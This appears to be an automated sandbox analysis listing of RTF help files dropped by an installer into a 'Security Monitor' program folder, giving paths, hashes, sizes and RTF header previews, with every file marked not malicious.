C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\is-IHGP9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	52084
Entropy (8bit):	5.0360425372195605
Encrypted:	false
SSDEEP:	768:2eFfzxZCCj/f85+jpnrNgVVhGPN2lV9GEijDKcAPv6SAJjVSkVeUZ53dqaYHErLm:2e720SvIA9l
MD5:	6C1BF76AEB182845D933C43B2FD3AD7E
SHA1:	2B5CF1297A2F29E1181C2231A521E57C207D16EC
SHA-256:	972A316D680C8D41CC19BE92E617D07832A9038CE9E5EEA23F1ABCC5DA983EE4
SHA-512:	7CC2F42278CDCC2DE781C8776095C83DB4739B635CDD93299A0BF08613C198A20F640BA8488C0B0655012D57B59F413EAF7EE57481BD4EBA3F5556E079D304B5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}{\f40\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}@SimSun;}{\flomaj

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\is-J3QUS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	44042
Entropy (8bit):	5.0382315831173985
Encrypted:	false
SSDEEP:	768:2QFDC47+EpRx1IKZR1yc+rROcPI0QhhiLVRtvYq14MfzCJrUwQpd8HZ/6A9u:2QDFUnUIA9u
MD5:	C87126C1EBFECCC1BE9D35D2C25360F3
SHA1:	9968DE7D3CAA691A6EB0E643E643C34B7B044F55
SHA-256:	0965D39B40A80B7EF5452ACEEEC9CE43CC5C8D6762617F8FF907444377844D14
SHA-512:	0AA0315529CA2C5D04F4A5BF4DE4991C2F8551AA38559D5C6AAD87F363B1D806457C3F33274873CFCF661646FBE2F730A4461D6ADE66C2DB36BD13AFAD5F1849
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f40\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}@SimSun;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\is-O0VLJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	46096
Entropy (8bit):	5.034181446312948
Encrypted:	false
SSDEEP:	768:2FFU347wx2Oa75aEZM/rvg20xQBcqtqYepjRBcnjX8x3b99QONKaQB2Ctj+Z/6AI:2Fp7FIA9u
MD5:	B8B7FAFEA8A56DF708E8CE7BB37516F2
SHA1:	FA15A15E9BD2B99CE60BDF170FBD668F89D87C7C
SHA-256:	E28805183757391F057ADA505CD5648E029FBB4D3DBCDDB9B19B8135A11EC113
SHA-512:	C8D9F66F94D32353F59FF2A28153647906B01ECE715A764BA33B907E81B27AE411FE951ECDD039A9BD596B7EEA1CD9CC802991EE74BB8FF71A1BE051B6CC32A3
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f39\fbidi \fnil\fcharset134\fprq2{\\panose 00000000000000000000}@SimSun;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Time

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\is-OCVN6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	51468
Entropy (8bit):	5.04658714654288
Encrypted:	false
SSDEEP:	768:2eFfzxZCCj/f15+0UcENgVVhGPNIlV9GEijaKcAPv6SAJjmYWR8KdYJ2nkfleSQ+:2e78tYiIA9U
MD5:	80A5E124BF233B48028E3886DE7897EB
SHA1:	F21E4120B6E2C4CABB5A2640AA208E9A94E193B7
SHA-256:	99807A4CF83C65D73CA39ADCC5058B28CA17812102304288420BAF9091DCDACE
SHA-512:	8168FB4A5E19938352E6E2662330214FB4A4209BD015F9615E3308FB808633EF346BAD56ED85B9946D8B40F87680B8B09B3676EF9591BDD27131A3C5842423D5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}{\f40\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}@SimSun;}{\flomaj

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\is-QVVKA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	50160
Entropy (8bit):	5.04516355825557
Encrypted:	false
SSDEEP:	768:2eFfzxZCCj/f95+6+WGNgVVhGPNolV9GEijPKcAPv6SAJjZR6TYqEkc0ij82oXTq:2e796RTIA9l
MD5:	D515DFD169E7F576978E8DDF94C8F57C
SHA1:	776FDAA33E7FBEFB6ECCB018DEEBEC03F23977E9
SHA-256:	3B6A48D3D59E44B95C982CD39E4F58CC7FA62237A089BDAC7844838F33C5CCD8
SHA-512:	8A61180120ED053F471874E0A8FA145071E39F89633C5C7085E84EBAC8BCC2E734E68F95D0B5C5C71CF168D5824D044D38C3C330CF2093121019D953C73A3431
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}{\f40\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}@SimSun;}{\flomaj

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\is-RAUGO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	39768
Entropy (8bit):	5.028438731643848
Encrypted:	false
SSDEEP:	768:2zFUZ47+E29oy2lV9GEij/R0qrsT+118lsqZ/6A9B:2zdTIA9B
MD5:	A8C9AB020E61A95F3CBA163ABBF94E88
SHA1:	041D13002452D2AC0CBE8A2CC4D646B284F1B9C6
SHA-256:	2473E996CFF9D4ACA06608370BF1B5C0ACE937E4F8A1C699AAF2A5F87318D40F
SHA-512:	13FB3383203232496A3551F2D6A39F210432C5DAB33A4101564416A0069E72F86F85C000EB8ABA4C2D8E66FB7B6165A34CD60DA0A8DFA0A48165F358B2E01269
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f39\fbidi \fnil\fcharset134\fprq2{\\panose 00000000000000000000}@SimSun;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\is-RUEHO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	98587
Entropy (8bit):	4.9835874653673855
Encrypted:	false
SSDEEP:	768:2zFbmxZM+tWe275kQOSAGc1Q33Tn4eMJ/fOcPI0QhhiLVpLCrLXI1nuT2njX8x3E:2zyeUnNIwuF+bDIA9n
MD5:	B729EF1A2C1EDAB184EE72D97CCF04FA
SHA1:	0B1E8F6E750120989728E8787722DB1E6C8AECA4
SHA-256:	FF86B07534B3BA1FB795BB36C8A7E02DDCA3F591A3EB242AA9F35773BE52AA1B
SHA-512:	8F4819A8CACAE7A93CF4BA2F42EABD64A6409B42F7D41B2363A6454591B7BF6C181E8F45F4359BACE952915008CDAD0EC59E8725E784657F3DEE795A19658EA3
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f39\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}@SimSun;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\keyboard.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	50366
Entropy (8bit):	5.042918546603945
Encrypted:	false
SSDEEP:	768:2eFMz47wCEnkVlYgiDGi3w2EHnT2njX8x37HzX3MmwxEJBMmfX8+VUf8SP8VrZJ6:2ebHcIA9/
MD5:	479AE0F93EE93B62EDED9259EFD3D417
SHA1:	ADFC98043F7B02403F496028274A9849DADE9415
SHA-256:	AE39FDC0D0299C5CC2AE703E1F39CE87FB6317DFEFA3DD3957CC3C7BFC94233D
SHA-512:	914EB7570D95563A23BCF6CFC354297C7A9ECE8F48AC1E6F872B7CCAB00B9977271A7148444E8DD119EC6BD7C4A4DB4830EC7EEBDE89FDE72E6A20B3E5DA2E91
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f39\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial CYR;}{\f41\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}@SimSun;}{\flo

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\logging.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	54667
Entropy (8bit):	5.033087064941872
Encrypted:	false
SSDEEP:	768:2QFDpxZMjE/d8NwyHF2njX8x3l7G5V5V5h5G5P5N5gkBJ5qA23YtFZSEHtoGCzU/:2Q9svIA9h
MD5:	51AF8BBE0EB54E295570F088C17CBBA4
SHA1:	E8CD73723EB618FA3F9A26B7F56EAA0C9397F0C9
SHA-256:	E9E9F0B183F57BEA6BF02B6BDCBAB45B8BACDFF889CD4E6882E62C3E3F8CC4C8
SHA-512:	582D0EB523E3AA4F152A858DD15C10F5379BA981EAAC75A5B427BCE8287634AF3D14D8AC045754B5FE3BEC9CAC317EC324D72EC2519C11FAE2A9FE3D60FD1F15
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f40\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}@SimSun;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\noPRO.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	59955
Entropy (8bit):	4.987423779028573
Encrypted:	false
SSDEEP:	768:2FFbLxZjkouUyWXCrfTYlD2oC+zKjkMpAkVZEdvI9DFxg1946VKOFeOkOecLd6Pa:2FLIFxgCSIA9TkWIy
MD5:	E0ED1922B52E062A733812CDC97F78ED
SHA1:	FFE7CBE2173ABEC59FDD66949DF05FAE07310FBC
SHA-256:	436533A19E5DB84BAFC7FC2A0DBECE56577648EF416D5A54C2D3A9D46289B9BB
SHA-512:	95DF26BFFC5FD4B77773C460BDB438ACC4E1A3146E502C8D7FBECE9D29A842513E6C44DBFCB04BDB9682802CBE8BA6E49723C996A550EEB864392B71D184AE0B
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f39\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}@SimSun;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Time

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\noURL.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	78843
Entropy (8bit):	4.977552271527579
Encrypted:	false
SSDEEP:	768:2FFfTw1wko5DlJXCrfTYlD2oC+zKjkMpAkVZEdvI9vTwliBKMkZKU4B3dHlbZBG4:2FuLTwlsdfmIA9U
MD5:	410CC0145DFADC0855A7081EC0808E79
SHA1:	4DB58BD6606D3266E9C3775CE5B41333DE38EC03
SHA-256:	D9C2247313A637FB992DCC176C9D96A06A891EA76F78E373FF038532FCC5EEBF
SHA-512:	B7B85D67CE8756DB341CD324592308AD6662D853E0CC08B3A64B09FB9D40D21B945EF1F4EEA8DF7DA92F281BED4B92930F81A0EDBEB7498CE03056AC0DF370CE
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}{\f39\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}@SimSun;}{\flomaj

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\scheduler.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	48087
Entropy (8bit):	5.042429118311867
Encrypted:	false
SSDEEP:	768:2eFfzxZCCj/fB5+aWqeNgVVhGPNNlV9GEijSKcAPv6SAJjeR+RP8yJ0LTrI6JtOt:2e7dRRoIA9f
MD5:	4BF6C8774BA58F01B8916C5DDD525E82
SHA1:	F493778C8F8CBD77CC9FC11F1E628FD05C6B0F87
SHA-256:	1D3481510B1220FF2BB3EFBC4137E73A237842AEC233E289EDE6039412FC1ACA
SHA-512:	208BA94ECDB45A089AD16A665DA51C7C29267268DE83DFC4F44D8EE29805031DD79E9681E12F6D5C8CE9C8E13FAFB3CB9C5DA535712416D4941233E546A794A8
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}{\f40\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}@SimSun;}{\flomaj

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\screenshot.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	51468
Entropy (8bit):	5.04658714654288
Encrypted:	false
SSDEEP:	768:2eFfzxZCCj/f15+0UcENgVVhGPNIlV9GEijaKcAPv6SAJjmYWR8KdYJ2nkfleSQ+:2e78tYiIA9U
MD5:	80A5E124BF233B48028E3886DE7897EB
SHA1:	F21E4120B6E2C4CABB5A2640AA208E9A94E193B7
SHA-256:	99807A4CF83C65D73CA39ADCC5058B28CA17812102304288420BAF9091DCDACE
SHA-512:	8168FB4A5E19938352E6E2662330214FB4A4209BD015F9615E3308FB808633EF346BAD56ED85B9946D8B40F87680B8B09B3676EF9591BDD27131A3C5842423D5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}{\f40\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}@SimSun;}{\flomaj

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\settings.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	66281
Entropy (8bit):	5.021285329842295
Encrypted:	false
SSDEEP:	768:2QFDJw1w0kWBP+WLZdfzbwKsFPcZR1yc+rZE7feMShR/pVRVGcefxRBcnjX8x3JO:2Q4Bb6IA9Z
MD5:	B9DE79AB06478D9A6CDFB82A7578E374
SHA1:	E103E4E779C53988209B3F0F752754162A5F638B
SHA-256:	7BCF98FA23001662B53624E64A48F45581CC6A5B70D53204203184A94581041B
SHA-512:	98F38D4D6CE05FA571C3AD3EE7C8751777F2A6EFB95C619DCD55F3F873AEC2842A578CE4CC654F2AA56E015D3D29955B8C49FE38CC3CBFD1B9D9910E9C7D9EED
Malicious:	false
Reputation:	unknown
